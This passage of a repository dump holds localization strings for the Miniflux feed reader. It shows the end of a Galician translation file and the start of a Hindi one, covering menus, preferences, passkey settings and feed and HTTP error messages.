Webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Axustes da aplicción\",\n    \"form.prefs.fieldset.authentication_settings\": \"Axustes da autenticación\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Axustes da canle global\",\n    \"form.prefs.fieldset.reader_settings\": \"Axustes de lectura\",\n    \"form.prefs.help.external_font_hosts\": \"Lista separada por espazos de servidores de tipos de letra externos permitidos. Exemplo: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Ler artigos abringo ligazóns externas\",\n    \"form.prefs.label.categories_sorting_order\": \"Orde para Categorías\",\n    \"form.prefs.label.cjk_reading_speed\": \"Velocidade de lectura para chinés, koreano e xaponés (caracteres por minuto)\",\n    \"form.prefs.label.custom_css\": \"CSS persoal\",\n    \"form.prefs.label.custom_js\": \"JavaScript persoal\",\n    \"form.prefs.label.default_home_page\": \"Páxina de inicio predeterminada\",\n    \"form.prefs.label.default_reading_speed\": \"Velocidade de lectura para outros idiomas (palabras por minuto)\",\n    \"form.prefs.label.display_mode\": \"Disposición da interface Progressive Web App (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Entradas por páxina\",\n    \"form.prefs.label.entry_order\": \"Columna para orde das entradas\",\n    \"form.prefs.label.entry_sorting\": \"Orde das entradas\",\n    \"form.prefs.label.entry_swipe\": \"Activar o desprazamento de entradas en pantallas táctiles\",\n    \"form.prefs.label.external_font_hosts\": \"Servidores externos de tipografías\",\n    \"form.prefs.label.gesture_nav\": \"Xestos para moverse entre entradas\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Activar atallos do teclado\",\n    \"form.prefs.label.language\": \"Idioma\",\n    \"form.prefs.label.mark_read_manually\": \"Marcar manualmente as entradas como lidas\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Só marcar como lido cando a reprodución acada o 90%\",\n    \"form.prefs.label.mark_read_on_view\": \"Marcar automaticamente as entradas ao velas\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Marcar entradas como vistas ao velas. Para son/vídeo, marcar como lido ao chegar ao 90%\",\n    \"form.prefs.label.media_playback_rate\": \"Velocidade de reprodución do son/vídeo\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Abrir ligazóns externas en nova lapela (engade target=\\\"_blank\\\" ás ligazóns)\",\n    \"form.prefs.label.show_reading_time\": \"Mostrar tempo de lectura estimado para as entradas\",\n    \"form.prefs.label.theme\": \"Decorado\",\n    \"form.prefs.label.timezone\": \"Zona horaria\",\n    \"form.prefs.select.alphabetical\": \"Alfabética\",\n    \"form.prefs.select.browser\": \"Navegador\",\n    \"form.prefs.select.created_time\": \"Hora de creación da entrada\",\n    \"form.prefs.select.fullscreen\": \"Pantalla completa\",\n    \"form.prefs.select.minimal_ui\": \"Mínima\",\n    \"form.prefs.select.none\": \"Ningunha\",\n    \"form.prefs.select.older_first\": \"Primeiro as antigas\",\n    \"form.prefs.select.publish_time\": \"Hora de publicación da entrada\",\n    \"form.prefs.select.recent_first\": \"Primeiro as recentes\",\n    \"form.prefs.select.standalone\": \"Standalone\",\n    \"form.prefs.select.swipe\": \"Desprazar\",\n    \"form.prefs.select.tap\": \"Doble toque\",\n    \"form.prefs.select.unread_count\": \"Conta de sen ler\",\n    \"form.submit.loading\": \"Cargando…\",\n    \"form.submit.saving\": \"Gardando…\",\n    \"form.user.label.admin\": \"Admin\",\n    \"form.user.label.confirmation\": \"Confirmar contrasinal\",\n    \"form.user.label.password\": \"Contrasinal\",\n    \"form.user.label.username\": \"Identificador\",\n    \"menu.about\": \"Sobre\",\n    \"menu.add_feed\": \"Engadir canle\",\n    \"menu.add_user\": \"Engadir usuaria\",\n    \"menu.api_keys\": \"Claves da API\",\n    \"menu.categories\": \"Categorías\",\n    \"menu.create_api_key\": \"Crear nova clave da API\",\n    \"menu.create_category\": \"Crear unha categoría\",\n    \"menu.edit_category\": \"Editar\",\n    \"menu.edit_feed\": \"Editar\",\n    \"menu.export\": \"Exportar\",\n    \"menu.feed_entries\": \"Entradas\",\n    \"menu.feeds\": \"Canles\",\n    \"menu.flush_history\": \"Eliminar historial\",\n    \"menu.history\": \"Historial\",\n    \"menu.home_page\": \"Páxina de inicio\",\n    \"menu.import\": \"Importar\",\n    \"menu.integrations\": \"Integracións\",\n    \"menu.logout\": \"Fechar sesión\",\n    \"menu.mark_all_as_read\": \"Marca todo como lido\",\n    \"menu.mark_page_as_read\": \"Marca esta páxina como lida\",\n    \"menu.preferences\": \"Preferencias\",\n    \"menu.refresh_all_feeds\": \"Actualizar en segundo plano todas as canles\",\n    \"menu.refresh_feed\": \"Actualizar\",\n    \"menu.search\": \"Buscar\",\n    \"menu.sessions\": \"Sesións\",\n    \"menu.settings\": \"Axustes\",\n    \"menu.shared_entries\": \"Entradas compartidas\",\n    \"menu.show_all_entries\": \"Motrar todas as entradas\",\n    \"menu.show_only_starred_entries\": \"Mostrar só entradas con estrela\",\n    \"menu.show_only_unread_entries\": \"Mostrar só entradas sen ler\",\n    \"menu.starred\": \"Con estrela\",\n    \"menu.title\": \"Menú\",\n    \"menu.unread\": \"Sen ler\",\n    \"menu.users\": \"Usuarias\",\n    \"page.about.author\": \"Autoría:\",\n    \"page.about.build_date\": \"Data da versión:\",\n    \"page.about.credits\": \"Crédito\",\n    \"page.about.db_usage\": \"Tamaño da BDD:\",\n    \"page.about.git_commit\": \"Git Commit:\",\n    \"page.about.global_config_options\": \"Configuración global\",\n    \"page.about.go_version\": \"Versión de Go:\",\n    \"page.about.license\": \"Licenza:\",\n    \"page.about.postgres_version\": \"Versión de Postgres:\",\n    \"page.about.title\": \"Sobre\",\n    \"page.about.version\": \"Versión:\",\n    \"page.add_feed.choose_feed\": \"Elixe unha canle\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opcións avanzadas\",\n    \"page.add_feed.no_category\": \"Non hai categoría. Tes que ter polo menos unha categoría.\",\n    \"page.add_feed.submit\": \"Atopa unha canle\",\n    \"page.add_feed.title\": \"Nova canle\",\n    \"page.api_keys.never_used\": \"Nunca utilizado\",\n    \"page.api_keys.table.actions\": \"Accións\",\n    \"page.api_keys.table.created_at\": \"Data de creación\",\n    \"page.api_keys.table.description\": \"Descrición\",\n    \"page.api_keys.table.last_used_at\": \"Último uso\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"Claves da API\",\n    \"page.categories.entries\": \"Entradas\",\n    \"page.categories.feed_count\": [\n        \"Hai %d canle.\",\n        \"Hai %d canles.\"\n    ],\n    \"page.categories.feeds\": \"Canles\",\n    \"page.categories.no_feed\": \"No hai canle.\",\n    \"page.categories.title\": \"Categorías\",\n    \"page.categories_count\": [\n        \"%d categoría\",\n        \"%d categorías\"\n    ],\n    \"page.category_label\": \"Categoría: %s\",\n    \"page.edit_category.title\": \"Editar categoría: %s\",\n    \"page.edit_feed.etag_header\": \"Cabeceira ETag:\",\n    \"page.edit_feed.last_check\": \"Última comprobación:\",\n    \"page.edit_feed.last_modified_header\": \"Cabeceira LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Erro Last Parsing\",\n    \"page.edit_feed.no_header\": \"Ningún\",\n    \"page.edit_feed.title\": \"Editar canle: %s\",\n    \"page.edit_user.title\": \"Editar usuaria: %s\",\n    \"page.entry.attachments\": \"Anexos\",\n    \"page.feeds.error_count\": [\n        \"%d erro\",\n        \"%d erros\"\n    ],\n    \"page.feeds.last_check\": \"Última comprobación:\",\n    \"page.feeds.next_check\": \"Próxima comprobación:\",\n    \"page.feeds.read_counter\": \"Número de entradas lidas\",\n    \"page.feeds.title\": \"Canles\",\n    \"page.footer.elevator\": \"Volver arriba\",\n    \"page.history.title\": \"Historial\",\n    \"page.import.title\": \"Importar\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"Esta é unha ligazón especial que che permite subscribirte a unha web directamente usando un marcador no teu navegador.\",\n    \"page.integration.bookmarklet.instructions\": \"Arrastra e solta esta ligazón nos teus marcadores.\",\n    \"page.integration.bookmarklet.name\": \"Engadir a Miniflux\",\n    \"page.integration.miniflux_api\": \"API de Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Punto de acceso da API\",\n    \"page.integration.miniflux_api_password\": \"Contrasinal\",\n    \"page.integration.miniflux_api_password_value\": \"Contrasinal da túa conta\",\n    \"page.integration.miniflux_api_username\": \"Identificador\",\n    \"page.integrations.title\": \"Integracións\",\n    \"page.keyboard_shortcuts.close_modal\": \"Fechar diálogo modal\",\n    \"page.keyboard_shortcuts.download_content\": \"Descargar contido orixinal\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Ir ao elemento de abaixo de todo\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Ir a categorías\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Ir á canle\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Ir ás canles\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Ir ao historial\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Ir ao seguinte elemento\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Ir á páxina seguinte\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Ir ao elemento anterior\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Ir á páxina anterior\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Pór o foco no formulario de busca\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ir aos axustes\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Ir a artigos con estrela\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Ir ao elemento de arriba de todo\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Ir aos non lidos\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Marcar páxina actual como lida\",\n    \"page.keyboard_shortcuts.open_comments\": \"Abrir ligazón de comentarios\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Abrir ligazón de comentarios na pestana actual\",\n    \"page.keyboard_shortcuts.open_item\": \"Abrir elemento seleccionado\",\n    \"page.keyboard_shortcuts.open_original\": \"Abrir ligazón orixinal\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Abrir ligazón orixinal na pestana actual\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Actualizar en segundo plano todas as canles\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Retirar esta canle\",\n    \"page.keyboard_shortcuts.save_article\": \"Gardar entrada\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Desprazar o elemento arriba de todo\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Mostrar atallos do teclado\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Accións\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Moverse polos elementos\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Moverse polas páxinas\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Moverse polas seccións\",\n    \"page.keyboard_shortcuts.title\": \"Atallos do teclado\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Pór/quitar estrela\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Cambiar abrir/fechar anexos da entrada\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Cambiar lido/non lido, foco na seguinte\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Cambiar lido/non lido, foco na anterior\",\n    \"page.login.google_signin\": \"Acceder con Google\",\n    \"page.login.oidc_signin\": \"Acceder con %s\",\n    \"page.login.title\": \"Acceder\",\n    \"page.login.webauthn_login\": \"Acceso con clave de paso\",\n    \"page.login.webauthn_login.error\": \"Non se puido acceder coa clave de paso\",\n    \"page.login.webauthn_login.help\": \"Por favor escribe o teu identificador se estás a usar unha clave de seguridade. Non se require isto se estás a usar unha «Passkey» (credenciais descubribles).\",\n    \"page.new_api_key.title\": \"Nova clave da API\",\n    \"page.new_category.title\": \"Nova Categoría\",\n    \"page.new_user.title\": \"Nova Usuaria\",\n    \"page.offline.message\": \"Non tes conexión\",\n    \"page.offline.refresh_page\": \"Intenta actualizar a páxina\",\n    \"page.offline.title\": \"Modo sen conexión\",\n    \"page.read_entry_count\": [\n        \"%d entrada lida\",\n        \"%d entradas lidas\"\n    ],\n    \"page.search.title\": \"Resultados da busca\",\n    \"page.sessions.table.actions\": \"Accións\",\n    \"page.sessions.table.current_session\": \"Sesión actual\",\n    \"page.sessions.table.date\": \"Data\",\n    \"page.sessions.table.ip\": \"Enderezo IP\",\n    \"page.sessions.table.user_agent\": \"User Agent\",\n    \"page.sessions.title\": \"Sesións\",\n    \"page.settings.link_google_account\": \"Ligar coa miña conta Google\",\n    \"page.settings.link_oidc_account\": \"Ligar coa miña conta %s\",\n    \"page.settings.title\": \"Axustes\",\n    \"page.settings.unlink_google_account\": \"Desligar da miña conta Google\",\n    \"page.settings.unlink_oidc_account\": \"Desligar da miña conta %s\",\n    \"page.settings.webauthn.actions\": \"Accións\",\n    \"page.settings.webauthn.added_on\": \"Engadida o\",\n    \"page.settings.webauthn.delete\": [\n        \"Retirar %d passkey\",\n        \"Retirar %d passkeys\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Último uso\",\n    \"page.settings.webauthn.passkey_name\": \"Nome da Passkey\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"Rexistrar Passkey\",\n    \"page.settings.webauthn.register.error\": \"Non se puido rexistrar Passkey\",\n    \"page.shared_entries.title\": \"Entradas compartidas\",\n    \"page.shared_entries_count\": [\n        \"%d entrada compartida\",\n        \"%d entradas compartidas\"\n    ],\n    \"page.starred.title\": \"Con estrela\",\n    \"page.starred_entry_count\": [\n        \"%d entrada con estrela\",\n        \"%d entradas con estrela\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d entrada en total\",\n        \"%d entradas en total\"\n    ],\n    \"page.unread.title\": \"Sen ler\",\n    \"page.unread_entry_count\": [\n        \"%d entrada sen ler\",\n        \"%d entradas sen ler\"\n    ],\n    \"page.users.actions\": \"Accións\",\n    \"page.users.admin.no\": \"Non\",\n    \"page.users.admin.yes\": \"Si\",\n    \"page.users.is_admin\": \"Administración\",\n    \"page.users.last_login\": \"Último acceso\",\n    \"page.users.never_logged\": \"Nunca\",\n    \"page.users.title\": \"Usuarias\",\n    \"page.users.username\": \"Identificador\",\n    \"page.webauthn_rename.title\": \"Cambiar nome a Passkey\",\n    \"pagination.first\": \"Primeiro\",\n    \"pagination.last\": \"Último\",\n    \"pagination.next\": \"Seguinte\",\n    \"pagination.previous\": \"Anterior\",\n    \"search.label\": \"Buscar\",\n    \"search.placeholder\": \"Buscar…\",\n    \"search.submit\": \"Buscar\",\n    \"skip_to_content\": \"Ir ao contido\",\n    \"time_elapsed.days\": [\n        \"hai %d día\",\n        \"hai %d días\"\n    ],\n    \"time_elapsed.hours\": [\n        \"hai %d hora\",\n        \"hai %d horas\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"hai %d minuto\",\n        \"hai %d minutos\"\n    ],\n    \"time_elapsed.months\": [\n        \"hai %d mes\",\n        \"hai %d meses\"\n    ],\n    \"time_elapsed.not_yet\": \"aínda non\",\n    \"time_elapsed.now\": \"xusto agora\",\n    \"time_elapsed.weeks\": [\n        \"hai %d semana\",\n        \"hai %d semanas\"\n    ],\n    \"time_elapsed.years\": [\n        \"hai %d ano\",\n        \"hai %d anos\"\n    ],\n    \"time_elapsed.yesterday\": \"onte\",\n    \"tooltip.keyboard_shortcuts\": \"Atallo do teclado: %s\",\n    \"tooltip.logged_user\": \"Sesión de %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/hi_IN.json",
    "content": "{\n    \"action.cancel\": \"रद्द करें\",\n    \"action.download\": \"डाउनलोड\",\n    \"action.edit\": \"संपाद करे\",\n    \"action.home_screen\": \"होम स्क्रीन में शामिल करें\",\n    \"action.import\": \"आयात करे\",\n    \"action.login\": \"लॉग इन करें\",\n    \"action.or\": \"या\",\n    \"action.remove\": \"हटाएँ\",\n    \"action.remove_feed\": \"इस फ़ीड को हटाएँ\",\n    \"action.save\": \"सहेजें\",\n    \"action.subscribe\": \"सदस्यता लें\",\n    \"action.update\": \"नवीनीकरण करे\",\n    \"alert.account_linked\": \"आपका बाहरी खाता अब लिंक हो गया है!\",\n    \"alert.account_unlinked\": \"आपका बाहरी खाता अब अलग कर दिया गया है!\",\n    \"alert.background_feed_refresh\": \"सभी फ़ीड्स पृष्ठभूमि में ताज़ा की जा रही हैं। जब यह प्रक्रिया चल रही हो, तो आप मिनीफ्लक्स का उपयोग जारी रख सकते हैं।\",\n    \"alert.feed_error\": \"इस फ़ीड में एक समस्या है\",\n    \"alert.no_starred\": \"इस समय कोई बुकमार्क नहीं है\",\n    \"alert.no_category\": \"कोई श्रेणी नहीं है।\",\n    \"alert.no_category_entry\": \"इस श्रेणी में कोई विषय-वस्तु नहीं है।\",\n    \"alert.no_feed\": \"आपके पास कोई सदस्यता नहीं है।\",\n    \"alert.no_feed_entry\": \"इस फ़ीड के लिए कोई विषय-वस्तु नहीं है।\",\n    \"alert.no_feed_in_category\": \"इस श्रेणी के लिए कोई सदस्यता नहीं है।\",\n    \"alert.no_history\": \"इस समय कोई इतिहास नहीं है\",\n    \"alert.no_search_result\": \"इस खोज के लिए कोई परिणाम नहीं हैं।\",\n    \"alert.no_shared_entry\": \"कोई साझा प्रविष्टि नहीं है\",\n    \"alert.no_tag_entry\": \"इस टैग से मेल खाती कोई प्रविष्टियाँ नहीं हैं।\",\n    \"alert.no_unread_entry\": \"कोई अपठित वस्तुत नहीं है।\",\n    \"alert.no_user\": \"आप एकमात्र उपयोगकर्ता हैं।\",\n    \"alert.prefs_saved\": \"प्राथमिकताएं सहेजी गईं!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"आपने बहुत अधिक फ़ीड ताज़ा करने की प्रक्रिया शुरू कर दी है। कृपया पुनः प्रयास करने से पहले %d मिनट प्रतीक्षा करें।\",\n        \"आपने बहुत अधिक फ़ीड ताज़ा करने की प्रक्रिया शुरू कर दी है। कृपया पुनः प्रयास करने से पहले %d मिनट प्रतीक्षा करें।\"\n    ],\n    \"confirm.loading\": \" प्रगति में है ...\",\n    \"confirm.no\": \" नहीं\",\n    \"confirm.question\": \"मंजूर है?\",\n    \"confirm.question.refresh\": \"क्या आप बल द्वारा ताज़ा करना चाहते हैं?\",\n    \"confirm.yes\": \"हाँ\",\n    \"enclosure_media_controls.seek\": \"खोजें:\",\n    \"enclosure_media_controls.seek.title\": \"%s सेकंड खोजें\",\n    \"enclosure_media_controls.speed\": \"गति:\",\n    \"enclosure_media_controls.speed.faster\": \"तेज\",\n    \"enclosure_media_controls.speed.faster.title\": \"%sx गुना तेज\",\n    \"enclosure_media_controls.speed.reset\": \"रीसेट करें\",\n    \"enclosure_media_controls.speed.reset.title\": \"गति 1x पर रीसेट करें\",\n    \"enclosure_media_controls.speed.slower\": \"धीमा\",\n    \"enclosure_media_controls.speed.slower.title\": \"%sx गुना धीमा\",\n    \"entry.starred.toast.off\": \"तारांकित न करे\",\n    \"entry.starred.toast.on\": \"तारांकित\",\n    \"entry.starred.toggle.off\": \"सितारा हटा दो\",\n    \"entry.starred.toggle.on\": \"सितारा दे\",\n    \"entry.comments.label\": \"टिप्पणियाँ\",\n    \"entry.comments.title\": \"टिप्पणियाँ देखे\",\n    \"entry.estimated_reading_time\": [\n        \"पढ़ने मे %d मिनट मागेगा\",\n        \"पढ़ने मे %d मिनट मागेगा\"\n    ],\n    \"entry.external_link.label\": \"बाहरी संपर्क\",\n    \"entry.save.completed\": \"कार्य समाप्त हुआ!\",\n    \"entry.save.label\": \"सहेजे\",\n    \"entry.save.title\": \"एस लेख को सहेजे\",\n    \"entry.save.toast.completed\": \"लेख को सहेज लिया\",\n    \"entry.scraper.completed\": \"कार्य समाप्त हुआ!\",\n    \"entry.scraper.label\": \"डाउनलोड\",\n    \"entry.scraper.title\": \"मूल विषयवस्तु लाए\",\n    \"entry.share.label\": \"साझा करें\",\n    \"entry.share.title\": \"विषयवस्तु साझा करें\",\n    \"entry.shared_entry.label\": \"साझा करें\",\n    \"entry.shared_entry.title\": \"सार्वजनिक लिंक खोले\",\n    \"entry.state.loading\": \"लोड हो रहा है...\",\n    \"entry.state.saving\": \"सहेजा जा रहा है...\",\n    \"entry.status.mark_as_read\": \"पढ़े हुए का चिह्न\",\n    \"entry.status.mark_as_unread\": \"अपठित के रूप में चिह्नित करें\",\n    \"entry.status.title\": \"प्रविष्टि स्थिति बदलें\",\n    \"entry.status.toast.read\": \"पढ़ा हुआ चिह्नित करे\",\n    \"entry.status.toast.unread\": \"अपठित के रूप में चिह्नित\",\n    \"entry.tags.label\": \"टैग:\",\n    \"entry.tags.more_tags_label\": [\n        \"%d और टैग दिखाएँ\",\n        \"%d और टैग दिखाएँ\"\n    ],\n    \"entry.unshare.label\": \"न साझा कारें\",\n    \"error.api_key_already_exists\": \"यह एपीआई कुंजी पहले से मौजूद है।\",\n    \"error.bad_credentials\": \"अमान्य उपयोगकर्ता नाम या पासवर्ड।\",\n    \"error.category_already_exists\": \"यह श्रेणी पहले से मौजूद है।\",\n    \"error.category_not_found\": \"यह श्रेणी मौजूद नहीं है या इस उपयोगकर्ता से संबंधित नहीं है।\",\n    \"error.database_error\": \"डेटाबेस त्रुटि: %v।\",\n    \"error.different_passwords\": \"पासवर्ड एक जैसे नहीं हैं।\",\n    \"error.duplicate_fever_username\": \"पहले से ही समान फीवर उपयोगकर्ता नाम वाला कोई और है!\",\n    \"error.duplicate_googlereader_username\": \"समान गूगल रीडर उपयोगकर्ता नाम वाला कोई और पहले से मौजूद है!\",\n    \"error.duplicate_linked_account\": \"इस प्रदाता के साथ पहले से ही कोई व्यक्ति जुड़ा हुआ है!\",\n    \"error.duplicated_feed\": \"यह फ़ीड पहले से मौजूद है।\",\n    \"error.empty_file\": \"यह फ़ाइल खाली है।\",\n    \"error.entries_per_page_invalid\": \"प्रति पृष्ठ प्रविष्टियों की संख्या मान्य नहीं है।\",\n    \"error.feed_already_exists\": \"यह फ़ीड पहले से मौजूद है.\",\n    \"error.feed_category_not_found\": \"यह श्रेणी मौजूद नहीं है या इस उपयोगकर्ता से संबंधित नहीं है।\",\n    \"error.feed_format_not_detected\": \"फ़ीड प्रारूप का पता नहीं लगा सकते: %v।\",\n    \"error.feed_invalid_blocklist_rule\": \"ब्लॉक सूची नियम अमान्य है।\",\n    \"error.feed_invalid_keeplist_rule\": \"सूची रखें नियम अमान्य है।\",\n    \"error.feed_mandatory_fields\": \"URL और श्रेणी अनिवार्य हैं।\",\n    \"error.feed_not_found\": \"यह फ़ीड मौजूद नहीं है या इस उपयोगकर्ता से संबंधित नहीं है।\",\n    \"error.feed_title_not_empty\": \"फ़ीड शीर्षक खाली नहीं हो सकता.\",\n    \"error.feed_url_not_empty\": \"फ़ीड यूआरएल खाली नहीं हो सकता.\",\n    \"error.fields_mandatory\": \"सभी फील्ड अनिवार्य।\",\n    \"error.http_bad_gateway\": \"खराब गेटवे त्रुटि के कारण वेबसाइट फिलहाल उपलब्ध नहीं है। समस्या Miniflux की तरफ नहीं है। कृपया बाद में फिर से कोशिश करें।\",\n    \"error.http_body_read\": \"HTTP बॉडी पढ़ने में असमर्थ: %v।\",\n    \"error.http_client_error\": \"HTTP क्लाइंट त्रुटि: %v।\",\n    \"error.http_empty_response\": \"HTTP प्रतिक्रिया खाली है। शायद यह वेबसाइट बॉट सुरक्षा तंत्र का उपयोग कर रही है?\",\n    \"error.http_empty_response_body\": \"HTTP प्रतिक्रिया बॉडी खाली है।\",\n    \"error.http_forbidden\": \"इस वेबसाइट तक पहुंच वर्जित है। शायद इस वेबसाइट में बॉट सुरक्षा तंत्र है?\",\n    \"error.http_gateway_timeout\": \"गेटवे टाइमआउट त्रुटि के कारण वेबसाइट फिलहाल उपलब्ध नहीं है। समस्या मिनीफ्लक्स की तरफ नहीं है। कृपया बाद में पुनः प्रयास करें।\",\n    \"error.http_internal_server_error\": \"सर्वर त्रुटि के कारण वेबसाइट फिलहाल उपलब्ध नहीं है। समस्या मिनीफ्लक्स की तरफ नहीं है। कृपया बाद में पुनः प्रयास करें।\",\n    \"error.http_not_authorized\": \"इस वेबसाइट तक पहुंच अधिकृत नहीं है। यह गलत उपयोगकर्ता नाम या पासवर्ड हो सकता है।\",\n    \"error.http_resource_not_found\": \"अनुरोधित संसाधन नहीं मिला। कृपया यूआरएल सत्यापित करें।\",\n    \"error.http_response_too_large\": \"HTTP प्रतिक्रिया बहुत बड़ी है। आप वैश्विक सेटिंग्स में HTTP प्रतिक्रिया आकार सीमा बढ़ा सकते हैं (सर्वर पुनःआरंभ आवश्यक)।\",\n    \"error.http_service_unavailable\": \"आंतरिक सर्वर त्रुटि के कारण वेबसाइट फिलहाल उपलब्ध नहीं है। समस्या मिनीफ्लक्स की तरफ नहीं है। कृपया बाद में पुनः प्रयास करें।\",\n    \"error.http_too_many_requests\": \"मिनीफ्लक्स ने इस वेबसाइट पर बहुत अधिक अनुरोध भेजे हैं। कृपया बाद में पुनः प्रयास करें या एप्लिकेशन कॉन्फ़िगरेशन बदलें।\",\n    \"error.http_unexpected_status_code\": \"अप्रत्याशित HTTP स्थिति कोड %d के कारण वेबसाइट उपलब्ध नहीं है। समस्या मिनीफ्लक्स की तरफ नहीं है। कृपया बाद में पुनः प्रयास करें।\",\n    \"error.invalid_categories_sorting_order\": \"अमान्य श्रेणी क्रम।\",\n    \"error.invalid_default_home_page\": \"अमान्य डिफ़ॉल्ट मुखपृष्ठ!\",\n    \"error.invalid_display_mode\": \"अमान्य वेब ऐप्लिकेशन प्रदर्शन मोड.\",\n    \"error.invalid_entry_direction\": \"अमान्य प्रवेश दिशा।\",\n    \"error.invalid_entry_order\": \"अमान्य प्रविष्टि क्रम।\",\n    \"error.invalid_feed_proxy_url\": \"अमान्य प्रॉक्सी यूआरएल।\",\n    \"error.invalid_feed_url\": \"दृष्टिकोण यूआरएल.\",\n    \"error.invalid_gesture_nav\": \"अमान्य इशारा नेविगेशन।\",\n    \"error.invalid_language\": \"अमान्य भाषा.\",\n    \"error.invalid_site_url\": \"अमान्य साइट यूआरएल\",\n    \"error.invalid_theme\": \"अमान्य थीम.\",\n    \"error.invalid_timezone\": \"अमान्य समयक्षेत्र.\",\n    \"error.network_operation\": \"नेटवर्क त्रुटि के कारण मिनीफ्लक्स इस वेबसाइट तक नहीं पहुँच पा रहा: %v.\",\n    \"error.network_timeout\": \"यह वेबसाइट बहुत धीमी है और अनुरोध का समय समाप्त हो गया: %v\",\n    \"error.password_min_length\": \"पासवर्ड में कम से कम 6 अक्षर होने चाहिए।\",\n    \"error.proxy_url_not_empty\": \"प्रॉक्सी यूआरएल खाली नहीं हो सकता।\",\n    \"error.settings_block_rule_fieldname_invalid\": \"अमान्य ब्लॉक नियम: नियम #%d में मान्य फील्ड नाम नहीं है (विकल्प: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"अमान्य ब्लॉक नियम: नियम #%d का पैटर्न मान्य रेगेक्स नहीं है\",\n    \"error.settings_block_rule_regex_required\": \"अमान्य ब्लॉक नियम: नियम #%d का पैटर्न प्रदान नहीं किया गया\",\n    \"error.settings_block_rule_separator_required\": \"अमान्य ब्लॉक नियम: नियम #%d के पैटर्न को '=' द्वारा अलग होना आवश्यक है\",\n    \"error.settings_invalid_domain_list\": \"अमान्य डोमेन सूची। कृपया स्पेस से अलग किए गए डोमेन दें।\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"अमान्य रखने का नियम: नियम #%d में मान्य फील्ड नाम नहीं है (विकल्प: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"अमान्य रखने का नियम: नियम #%d का पैटर्न मान्य रेगेक्स नहीं है\",\n    \"error.settings_keep_rule_regex_required\": \"अमान्य रखने का नियम: नियम #%d का पैटर्न नहीं दिया गया\",\n    \"error.settings_keep_rule_separator_required\": \"अमान्य रखने का नियम: नियम #%d के पैटर्न को '=' से अलग किया जाना आवश्यक है\",\n    \"error.settings_mandatory_fields\": \"उपयोगकर्ता नाम, विषयवस्तु, भाषा और समयक्षेत्र फ़ील्ड अनिवार्य हैं।\",\n    \"error.settings_media_playback_rate_range\": \"प्लेबैक गति सीमा से बाहर है\",\n    \"error.settings_reading_speed_is_positive\": \"पढ़ने की गति सकारात्मक पूर्णांक होनी चाहिए।\",\n    \"error.site_url_not_empty\": \"साइट का यूआरएल खाली नहीं हो सकता.\",\n    \"error.subscription_not_found\": \"कोई सदस्यता ढूँढने में असमर्थ.\",\n    \"error.title_required\": \"शीर्षक अनिवार्य है।\",\n    \"error.tls_error\": \"TLS त्रुटि: %q. यदि आप चाहें तो फ़ीड सेटिंग्स में TLS सत्यापन अक्षम कर सकते हैं।\",\n    \"error.unable_to_create_api_key\": \"यह एपीआई कुंजी बनाने में असमर्थ।\",\n    \"error.unable_to_create_category\": \"यह श्रेणी बनाने में असमर्थ.\",\n    \"error.unable_to_create_user\": \"इस उपयोगकर्ता को बनाने में असमर्थ।\",\n    \"error.unable_to_detect_rssbridge\": \"RSS-Bridge का उपयोग करके फ़ीड का पता लगाने में असमर्थ: %v.\",\n    \"error.unable_to_parse_feed\": \"इस फ़ीड को पार्स करने में असमर्थ: %v.\",\n    \"error.unable_to_update_category\": \"इस श्रेणी को अपडेट करने में असमर्थ।\",\n    \"error.unable_to_update_feed\": \"इस फ़ीड को अपडेट करने में असमर्थ.\",\n    \"error.unable_to_update_user\": \"इस उपयोगकर्ता को अपडेट करने में असमर्थ.\",\n    \"error.unlink_account_without_password\": \"आपको 